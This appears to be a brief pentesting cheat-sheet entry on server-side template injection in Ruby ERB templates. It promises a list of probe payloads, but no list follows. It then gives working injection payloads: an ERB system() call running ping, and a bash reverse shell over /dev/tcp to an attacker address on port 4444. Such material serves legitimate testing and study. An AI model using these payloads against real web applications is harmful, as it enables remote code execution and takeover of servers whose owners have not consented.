ERB SSTI
ERB may be vulnerable to SSTI.
Payloads
Try the following payloads on URL path, params, input, etc.
Exploit
If the above payloads affect responses, we can inject arbitrary code as below:
<%= system("ping -c 1 10.0.0.1"); %>
# Reverse Shell
<%= system("bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"); %>